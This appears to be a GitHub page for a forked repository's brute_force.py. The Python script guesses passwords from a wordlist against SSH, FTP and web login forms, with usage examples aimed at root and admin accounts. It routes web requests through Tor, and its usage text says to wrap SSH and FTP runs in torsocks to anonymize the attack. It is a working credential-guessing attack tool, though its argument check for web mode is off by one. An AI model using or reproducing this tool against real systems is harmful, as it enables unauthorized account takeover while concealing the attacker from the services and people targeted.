forked from harriiinnii/TorBruteforce
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbrute_force.py
More file actions
149 lines (126 loc) · 5.41 KB
/
Copy pathbrute_force.py
File metadata and controls
149 lines (126 loc) · 5.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import paramiko
import socket
import sys
from ftplib import FTP, error_perm
import requests
def print_usage():
usage = """
Brute Force Tool Usage:
python3 brute_force.py <protocol> [arguments]
Protocols and arguments:
ssh <host> <port> <username> <password_list_file>
Example: python3 brute_force.py ssh 192.168.1.10 22 root passwords.txt
ftp <host> <port> <username> <password_list_file>
Example: python3 brute_force.py ftp 192.168.1.20 21 admin passwords.txt
web <url> <username_field> <password_field> <username> <password_list_file>
Example: python3 brute_force.py web http://target.com/login username password admin passwords.txt
Options:
--help Show this help message and exit
Note:
- For SSH and FTP, to anonymize traffic through Tor, run with:
torsocks python3 brute_force.py <protocol> ...
- For web brute force, ensure Tor is running locally at 127.0.0.1:9050
"""
print(usage)
def ssh_brute_force(host, port, username, password_list_file):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
with open(password_list_file, 'r') as file:
passwords = file.read().splitlines()
except FileNotFoundError:
print(f"[!] Password list file '{password_list_file}' not found.")
return
print(f"[*] Starting SSH brute force against {host}:{port} for user '{username}'...")
for password in passwords:
try:
ssh.connect(hostname=host, port=port, username=username, password=password, timeout=5)
print(f"[+] SSH login success! Password: '{password}'")
ssh.close()
return
except paramiko.AuthenticationException:
print(f"[-] SSH auth failed: '{password}'")
except paramiko.SSHException as e:
print(f"[!] SSH error: {e}")
except socket.timeout:
print("[!] SSH connection timed out")
break
except Exception as e:
print(f"[!] Unexpected SSH error: {e}")
print("[!] SSH brute force finished. Password not found.")
def ftp_brute_force(host, port, username, password_list_file):
try:
with open(password_list_file, 'r') as file:
passwords = file.read().splitlines()
except FileNotFoundError:
print(f"[!] Password list file '{password_list_file}' not found.")
return
print(f"[*] Starting FTP brute force against {host}:{port} for user '{username}'...")
for password in passwords:
try:
ftp = FTP()
ftp.connect(host, port, timeout=5)
ftp.login(user=username, passwd=password)
print(f"[+] FTP login success! Password: '{password}'")
ftp.quit()
return
except error_perm:
print(f"[-] FTP login failed: '{password}'")
except Exception as e:
print(f"[!] FTP error: {e}")
print("[!] FTP brute force finished. Password not found.")
def web_form_brute_force(url, username_field, password_field, username, password_list_file):
# Tor proxy config - ensure Tor is running locally (default SOCKS5 at 127.0.0.1:9050)
proxies = {
'http': 'socks5h://127.0.0.1:9050',
'https': 'socks5h://127.0.0.1:9050',
}
try:
with open(password_list_file, 'r') as file:
passwords = file.read().splitlines()
except FileNotFoundError:
print(f"[!] Password list file '{password_list_file}' not found.")
return
print(f"[*] Starting web form brute force on {url} for user '{username}'...")
for password in passwords:
data = {
username_field: username,
password_field: password
# Add other form data if required here
}
try:
response = requests.post(url, data=data, proxies=proxies, timeout=10)
# Customize this condition based on how the target site indicates login failure or success
if "login failed" not in response.text.lower() and response.status_code == 200:
print(f"[+] Web form login success! Password: '{password}'")
return
else:
print(f"[-] Failed password: '{password}'")
except requests.RequestException as e:
print(f"[!] Request error: {e}")
break
print("[!] Web form brute force finished. Password not found.")
def main():
if len(sys.argv) == 1 or sys.argv[1] == '--help':
print_usage()
sys.exit(0)
protocol = sys.argv[1].lower()
if protocol == 'ssh':
if len(sys.argv) != 6:
print("Usage: python3 brute_force.py ssh <host> <port> <username> <password_list_file>")
sys.exit(1)
ssh_brute_force(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5])
elif protocol == 'ftp':
if len(sys.argv) != 6:
print("Usage: python3 brute_force.py ftp <host> <port> <username> <password_list_file>")
sys.exit(1)
ftp_brute_force(sys.argv[2], int(sys.argv[3]), sys.argv[4], sys.argv[5])
elif protocol == 'web':
if len(sys.argv) != 8:
print("Usage: python3 brute_force.py web <url> <username_field> <password_field> <username> <password_list_file>")
sys.exit(1)
web_form_brute_force(sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5], sys.argv[6])
else:
print(f"Unsupported protocol '{protocol}'. Use ssh, ftp, or web.")
if __name__ == "__main__":
main()